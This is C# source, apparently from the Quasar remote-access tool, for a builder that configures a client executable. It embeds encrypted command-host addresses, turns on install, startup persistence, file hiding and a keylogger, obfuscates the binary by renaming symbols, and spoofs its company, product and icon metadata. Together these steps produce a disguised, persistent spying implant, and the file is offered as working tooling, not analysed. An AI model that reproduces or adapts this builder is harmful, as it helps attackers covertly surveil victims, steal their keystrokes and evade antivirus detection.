/// <summary>
/// Builds a client executable.
/// </summary>
/// <remarks>
/// Assumes the 'client.bin' file exist.
/// </remarks>
public static void Build(BuildOptions options)
{
// PHASE 1 - Settings
var keys = Aes128.DeriveKeys(options.Password);
var key = Convert.ToBase64String(keys.Item1);
var authKey = Convert.ToBase64String(keys.Item2);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "Quasar.Client.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
string encKey = StringHelper.GetRandomString(20);
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.RawHosts, encKey);
break;
case 3: //key
methodDef.Body.Instructions[i].Operand = key;
break;
case 4: //authkey
methodDef.Body.Instructions[i].Operand = authKey;
break;
case 5: //installsub
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.InstallSub, encKey);
break;
case 6: //installname
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.InstallName, encKey);
break;
case 7: //mutex
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Mutex, encKey);
break;
case 8: //startupkey
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.StartupName, encKey);
break;
case 9: //encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 10: //tag
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.Tag, encKey);
break;
case 11: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = Aes128.Encrypt(options.LogDirectoryName, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
case 5: //HideLogDirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
case 6: // HideInstallSubdirectory
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
//reconnectdelay
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(options.OutputPath);
// PHASE 4 - Assembly Information changing
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(options.IconPath))
{
IconFile iconFile = new IconFile(options.IconPath);
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
iconDirectoryResource.SaveTo(options.OutputPath);
}
}
